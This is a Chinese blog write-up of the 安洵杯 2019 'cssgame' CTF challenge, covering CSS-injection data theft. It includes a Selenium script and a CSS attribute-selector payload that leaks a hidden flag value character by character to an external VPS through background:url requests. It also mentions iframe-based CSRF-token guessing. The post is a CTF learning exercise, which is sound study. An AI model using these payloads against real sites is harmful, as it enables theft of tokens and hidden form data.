安洵杯2019 cssgame

0x01 题目分析

<html>
<head>
    <meta charset="utf8" />
    <title>CSS Game</title>
    <style>

    </style>
</head>
<body>
<h1>CSS Game</h1>
<p>
    The flag is in <code>http://127.0.0.1:60000/flag.html</code>
</p>
<p>
    flag.html
    <!--
        <html>
            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
             <form>
                <input name="Email" type="text" value="test">
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
                <input type="submit" value="提交">
            </form>
        </html>
    -->
</p>
<form action="/crawl.html" method="post">
    http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
    <input type="submit"/><br><br>
</form>
</body>
</p>

大概的意思就是要我们输入一个css,而这个css是控制flag.php的,而我们需要的flag就是在flag.php里面的一个隐藏input的value,我们只有通过我们输入的css把这个值带出来~~

下面直接贴出脚本吧,由于环境原因我们只有一位位地试,在buu上由于一些原因跑几次环境就挂了,于是我自己搭了个本地环境,原理都差不多~~
index.html

<html>
<head>
    <meta charset="utf8" />
    <title>CSS Game</title>
    <style>
    </style>
</head>
<body>
<h1>CSS Game</h1>
<p>
    The flag is in <code>http://127.0.0.1/flag.php</code>
</p>
<p>
    flag.php
    <!--
        <html>
            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
             <form>
                <input name="Email" type="text" value="test">
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
                <input type="submit" value="提交">
            </form>
        </html>
    -->
</p>
<form action="/flag.php" method="post">
    http://127.0.0.1/flag.php?css=<input type="text" name="css" />
    <input type="submit"/><br><br>
</form>
</body>
</p>

flag.php

        <html>
            <style>
    <?=preg_replace('#</style#i', '#', $_POST['css']) ?>
</style>
             <form>
                <input name="Email" type="text" value="test">
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
                <input type="submit" value="提交">
            </form>
        </html>

payload
# encoding = utf-8
import string 
from selenium import webdriver	
import time

driver = webdriver.Chrome()
url = 'http://127.0.0.1'
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'
for i in s:
        flag += i
        string = 'input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}'%(flag, flag)
        data = {"css": string}
        driver.get(url)
        css = driver.find_element_by_name('css')
        css.send_keys(string)
        driver.find_element_by_xpath("//input[@type='submit']").click()
        flag= ''

这儿我是用的是

input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}

value^=xxx,就是指value的前几位是xxx,如果正确就访问我们的vps,这样我们就知道前几位是什么了,然后手动一位位的改payload中的值~~



思维问题:

由于这道题是post的css参数,而selenium不支持直接post,所以我就一直找能够支持post的库,但是总会有各种问题,后来我是直接用selenuim定位元素,填写表单,提交就解决问题了~
我想开发的selenuim的大佬,也是想我们可以先GET网页,然后定位元素填写表单吧,所以没开发POST的模块~~

在做的过程中我还尝试了xhr但是xhr那个只是访问url,并不渲染url,所以也没办法访问我们的vps~~


参考链接

这儿再贴出一些关于selenium定位的文章~~
链接



最后贴出官方的payload

1

通过不断创建iframe,动态猜解每一位csrf token,当然这需要目标站点x-frame-options未被禁用
链接

2

那iframe被禁用了,还有办法注入吗?
参考这篇文章所述:
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b

发布了47 篇原创文章 · 获赞 2 · 访问量 3117

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/104071188